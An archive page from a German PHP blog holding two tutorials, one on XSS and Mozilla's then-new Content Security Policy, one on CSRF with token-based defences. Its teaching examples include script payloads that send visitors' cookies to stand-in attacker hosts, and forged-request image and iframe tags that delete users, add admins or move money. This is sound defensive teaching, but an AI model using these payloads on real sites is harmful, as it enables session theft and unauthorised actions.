Archive for the ‘CSRF’ tag
XSS-Angriffe erschweren mit CSP, der neuen Idee von Mozilla/Firefox
Die Entwickler bei Mozilla haben hart gearbeitet und sich eine gute Strategie ausgedacht, wie man in Zukunft Cross-Site-Scripting (XSS) erschweren kann (Achtung: unterbinden wird man es (noch) nicht können!). Viele Browserhersteller loben die Firefox-Entwickler dafür und werden die Funktionalität auch einbauen, um das Web ein wenig sicherer zu machen.
XSS ist im Grunde das böse Einfügen von externem Javascript-Code, um im Kontext einer Webseite schädliche Funktionen aufzurufen. XSS-Angriffe haben in den letzten Jahren massiv zugenommen und sind mittlerweile auf Platz 1 der Hitliste aller Internet-Angriffe. Ein einfaches Beispiel ist das folgende:
Nehmen wir an, wir haben ein Gästebuch (oder ein Blog, einen Chat oder irgendeinen anderen Web 2.0 Dienst erstellt, wo User eigenen Content beisteuern können) programmiert, und wir haben bei der Programmierung nicht aufgepasst. Nehmen wir an, wir hätten auf Serverseite bei irgendeinem Formular-Script das Entschärfen der POST-Variablen vergessen, sodass alles, was ein User im Formular eingibt, später auf der Seite von anderen Usern gelesen werden kann.
Jemand, der uns Böses will, könnte nun also beispielsweise im Namensfeld folgendes eingeben:
Leo<script type="text/javascript">document.location="http://www.hacker.com/stealer.php?cookie=" + document.cookie;</script>
Diese Zeichenfolge wird nun in einer Datenbank gespeichert, und alle zukünftigen Benutzer finden dann zum Beispiel diesen Code, wenn sie die Seite besuchen:
<div id="name">Leo<script type="text/javascript">document.location="http://www.hacker.com/stealer.php?cookie=" + document.cookie;</script></div>
Bei jedem Besucher wird nun also der Javascript-Code ausgeführt, der den Cookie dieser Domain an den Server des Hackers schickt. Man könnte sich auch vorstellen, dass der Javascript-Code die Inhalte der Webseite (Kontostand, Freunde, private Einstellungen etc), die sich auf der Webseite befinden, via Javascript versendet. Das böse Javascript hat volle Kontrolle über das DOM.
Hier noch drei Beispiele:
<a href="java script:document.location='http://www.host.com/mysite/stealer.php?cookie='+document.cookie;">Click here!</a>
<script>java script:getelementbyid("Boom").innerHTML="<iframe width=0 height=0 borderwidth=0 src='http://www.site.com/?c='+document.cookie+'&r='+document.location></iframe>";</script>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Hier gibt es eine unheimliche Sammlung, wie man Javascript “verstecken” kann.
Als erstes sollte man natürlich alle Zeichen in HTML-Entities umwandeln mittels htmlentities(). Man sollte KEINEM UserContent vertrauen und es bestmöglich escapen und entschärfen. Das ist jedoch nicht immer ganz einfach, und auch wenn man selbst dran denkt, irgendwann kommt ein Azubi und vergisst es irgendwo bei einem neuen Feature, und schon ist die Seite bzw. deren Besucher angreifbar.
Der neue Ansatz ist nun, die Nutzung von Javascript auf seiner Seite zu kontrollieren bzw. verbieten zu können. Dazu gibt es einen neuen HTML-META-Tag, der das steuert: X-Content-Security-Policy
Mozilla hat es also Content-Security-Policy (CSP) getauft. Ein solcher Eintrag sieht zum Beispiel so aus:
<meta http-equiv="X-Content-Security-Policy" content="allow self" />
oder wenn Content auch von einigen wenigen externen Seiten erlaubt sein soll:
<meta http-equiv="X-Content-Security-Policy" content="allow self; img-src *; object-src media1.com media2.com; script-src userscripts.example.com" />
In diesem Fall wird Content nur erlaubt, wenn er von der selben Domain stammt, mit Ausnahme von Bildern, die überall liegen dürfen, Objects die nur von media1.com oder media2.com kommen dürfen, und externe Scripte, die nur von userscripts.example.com geladen werden dürfen. Damit kann man also, je strikter man ist, schon sehr vieles abfangen. Man rüstet sich außerdem für die Zukunft, wenn eventuell neue Sicherheitslücken gefunden werden. Man schützt seine Besucher also aktiv, denn man kann seinen Besuchern ja nicht empfehlen, Javascript zu deaktivieren, denn wir wollen es ja auch nutzen für unsere tolle Web 2.0 Seite.
CSP bietet auch die Möglichkeit, das Protokoll aller Links zu bestimmen, denn wenn man seine Seite komplett verschlüsselt anbietet, möchte man vermeiden, dass Cracker Links einschmuggeln, die nicht verschlüsselt aufgerufen werden. Man verschlüsselt ja die Verbindung, um Mithörern den Inhalt nicht zu verraten. Einige Man-in-the-Middle-Attacken schaffen es aber, Links einzuschleusen, sodass plötzlich einige Links/Requests unverschlüsselt über den Äther gehen, und der Angreifer dann zB die Cookies mitschneiden könnte.
Es gab vor einiger Zeit auch eine Lücke in Javascript, über die ein Cracker herausfinden konnte, ob man auf bestimmten Seiten war. Dazu werden einfach verschiedene Links unsichtbar generiert, und mit Hilfe von CSS und Javascript geprüft, ob der Browser die Links beispielsweise pink anzeigt, wie es einige Browsern bei bereits besuchten URLs macht. Hier gibt es Details und Beispielcode. Mit Javascript ist also viel möglich, und es werden in Zukunft sicher noch weitere Lücken entdeckt und ausgenutzt. Deshalb ist es wichtig, XSS zu verhindern.
CSP bietet auch die Möglichkeit zu bestimmen, dass die eigene Seite nie in einem Frame angezeigt werden darf. Das ist auch häufig gewünscht, um “Content-Dieben” das Leben schwerer zu machen.
Man wird außerdem dazu “gezwungen”, keinen Inline-Javascript mehr zu schreiben, sondern Javascript schön in externe Javascript-Dateien zu packen, was sowieso besserer Stil ist und bevorzugt werden sollte (Trennung Präsentations-Markup von Script-Funktionalität).Da kein Inline-Javascript mehr ausgeführt wird, sobald man den Header setzt, sondern nur noch Javascript aus den vertrauenswürdigen Quellen geladen wird, kann es relativ umfangreich sein, bei alten Webseiten die viel mit Inline-Javascript arbeiten, dies umzustellen. Aber wahrscheinlich ist es den Aufwand wert, denn es steigert die Sicherheit der Seite ungemein.
CSP hat noch die “Nebeneffekte” bzw. sekundären Ziele, Clickjacking und Packet-Sniffing zu unterbinden. Clickjacking ist das Einblenden von transparenten Frames, um den User dazu zu bringen, auf eine bestimmte Stelle zu klicken und damit möglicherweise nicht gewollte Aktionen auszuführen. Es gab auch Angriffe, die ein Flash-Applet eingebaut haben, das auf das Microphone und die Webcam zugreifen wollten. Die Cracker konnten mit Hilfe von Javascript und CSS diese Abfrage von Flash nahezu unsichtbar machen, und egal wo man hinklickt, der unsichtbare “Erlauben” Knopf befindet sich immer unter der Maus. Plötzlich sendet man also, ohne dass man das möchte, sein Webcam-Bild und Audio an eine fremde Seite. Hier gibt es dazu weitere Details und ein Video. Mehr dazu hier in den Zielen von CSP. Übrigens, wenn ein Browser CSP noch nicht versteht, ignoriert er den META-Tag einfach. Es hat also keine Nachteile es zu aktivieren, und man verliert keine Besucher oder muss umfangreiche Browserweichen einbauen.
Wo es Licht gibt, gibt es auch Schatten. Durch Man-in-the-Middle-Attacken bei unverschlüsselten Verbindungen könnte es auch sein, dass Header-Injection-Angriffe in Zukunft zunehmen werden. Damit wollen Angreifer den CSP-Header entfernen oder verändern. Außerdem wird es auf lange Zeit noch Browser geben, die den META-Tag nicht verstehen, es ist also Pflicht, nach wie vor XSS aktiv zu vermeiden und zu bekämpfen, und sich nicht auf den neuen META-Tag zu verlassen.
Das offiziele Paper dazu findet ihr auf den Mozilla-Seiten, inclusive ausführlicher Beschreibungen, Demos und einem Firefox-Build mit der neuen Funktionalität zum Testen. Mit Firefox 3.6 oder 3.7 wird es offiziell verbreitet werden, sobald die letzten Funktionalitäten eingebaut sind.
Es soll auch einen Origin-Header geben, der Cross-Site-Request-Forgery unterbinden soll. Details dazu hier auch wieder bei Mozilla.
Wir können uns also darauf freuen und hoffen, dass die großen Browser es bald einbauen werden, und das Web ein Stück sicherer wird.
Was ist “Cross Site Request Forgery” (CSRF)?
Der ein oder andere mag es schon mal gelesen haben, aber es fristet nach wie vor ein Nischen-Dasein: Cross-Site Request Forgery.
Dieses Sicherheitsproblem von Webseiten aller Art (es macht eigentlich nur Sinn wenn es einen Login auf der Seite gibt) ist recht verbreitet, und ich möchte es hier zusammenfassen und Beispiele zeigen, wie auch eure Seiten dafür anfällig sind. Und natürlich Tipps geben, was man dagegen tun kann.
Das Grundproblem ist schnell erklärt: Ein Browser nutzt Tabs oder auch neue Fenster, um mehrere Seiten parallel öffnen und anzeigen zu können. Nehmen wir an, in einem Tab ist die Seite www.xing.com geöffnet, und in einem anderen Tab die Seite www.phpgangsta.de . Browser sind nun so konstruiert, dass sich diese beiden Seiten im Prinzip nicht gegenseitig beeinflussen können, d.h. mittels Javascript kann ich von meiner Seite aus nicht auf den Inhalt der geöffneten Xing-Seite zugreifen (Same Origin Policy).
Nun logge ich mich auf Xing ein. Wenn ich nun einen weiteren Tab öffne und www.xing.com aufrufe, bin ich dort ebenfalls eingeloggt. Beide Tabs nutzen also die selben Cookies, und genau das machen wir uns zu Nutze.
Was passiert nun also, wenn ich auf meiner Seite (www.phpgangsta.de) ein Bild einbinde, das so aussieht:
<img src=”http://www.xing.com/app/message?op=sendmessage&recipient=MichaelKliewe&body=Viagra+For+Free”>
oder auch
<iframe width=”0″ height=”0″ src=”http://www.xing.com/app/message?op=sendmessage&recipient=MichaelKliewe&body=Viagra+For+Free”></iframe>
(Dies sind nur Beispiele, Xing ist natürlich gegen CSRF abgesichert)
Der Browser des Besuchers, der ja noch einen weiteren Tab mit dem eingeloggten Xing-Account geöffnet hat, ruft diese URL auf, und verschickt damit Nachrichten über Xing, ohne dass es der Besucher möchte!
Genauso kann es also mit jeglichen URLs passieren, die irgendwelche Aktionen auslösen, beispielsweise User löschen, das Profil ändern.
<img src=”http://www.deine-seite.de/admin/user_delete.php?id=1″>
<img src=”http://www.meine-seite.de/add_admin.php?name=hacker&pass=hack”>
Sollte derjenige also gerade auf der entsprechenden Seite sein (in einem anderen Tab) und die Rechte für die jeweilige Aktion haben, wird sie ausgeführt. Der Browser sendet bei dem Aufruf des Links das passende Cookie mit, womit die Rechte passen und die Aktion erfolgreich ist. Da sind extrem üble Sachen denkbar. Beispielsweise war GMail anfällig, sodass jeder euren GMail-Account “fernsteuern” konnte (Emails schreiben, Emails löschen, Kontakte löschen usw). Da viele Leute Gmail nutzen und dort permanent eingeloggt sind, ist das gar nicht so unwahrscheinlich.
Oder aber stellt euch eine solche Webseite vor:
<html> Bei BrowsergameX gibt es ein Update. Bitte log dich ein und schau nach! <a href="http://www.browsergameX.de" target="_blank">BrowsergameX</a> <script> var url = 'http://www.browsergameX.de/transferMoney?amount=1000&target=1234567'; setTimeout(30000, "window.open(url)"); </script> </html>
Der User loggt sich also in seinem Spiel ein. Nach 30 Sekunden geht dann ein weiteres Fenster auf, und schwupps sind 1000 Geld-Einheiten eures Browsergame-Spielgelds weg.
Bei diesen Beispielen wurden nur GET-Parameter verwendet. Aber auch POST Parameter sind anfällig, es reicht also nicht, alles von GET auf POST zu ändern.
Sobald es dann um sensible Daten oder echtes Geld geht, ist der Spass vorbei. Was können wir also dagegen tun?
Wir müssen also sicherstellen, dass ein Link-Klick oder Formulardaten NUR von unserer Seite kommen kann. Erste Idee: Wir prüfen den Referrer, der müßte ja unsere Domain enthalten. Doch leider sendet nicht jeder Browser einen Referrer, und er lässt sich fälschen (Alles was von Clients kommt lässt sich fälschen und manipulieren!). Cookies lassen sich auch nicht nutzen.
Die einzig effektive Methode, dich aktuell bekannt ist, ist JEDEN Link und JEDES Formular um ein “secret token” zu ergänzen, das nur wir kennen und dynamisch generieren. Außerdem darf es nur begrenzt haltbar und nicht erratbar sein. Dieses Token prüfen wir dann nach dem nächsten Request und wissen dann, ob es von uns generiert wurde.
Marc Jakubowski hat in seinem Blog sehr brauchbaren Quelltext veröffentlicht, den man mit ein paar Anpassungen (unten drunter stehen einige Verbesserungsvorschläge) gut nutzen kann.
Schon haben wir einen effektiven Schutz gegen CSRF. Alle geschützten Aktionen können nur noch ausgeführt werden, wenn vorher auf unserer Seite der entsprechende Token generiert wurde. Außerdem unterdrücken wir damit als Nebeneffekt das doppelte Absenden von Formularen.
Natürlich ist das kein 100%-iger Schutz. Durch einfaches Brute-Force oder beispielsweise mit Hilfe der Browser-History (CSS Browser History Vulnerability) kann man den Token erraten.
Bei der Recherche bin ich auch über eine interessante Präsentation von Stefan Esser zum Thema “Secure Programming with Zend Framework” gestossen, worin auch das Thema CSRF kurz abgesprochen wird.
Mein letzter Tip, um euch als User im Internet zu schützen: Nutzt Firefox und das Addon NoScript, denn es blockt zB Cross-Domain Formulare und bietet auch Schutz gegen XSS.
Mehr Material über das Thema:
http://www.cgisecurity.com/csrf-faq.html
http://shiflett.org/articles/cross-site-request-forgeries
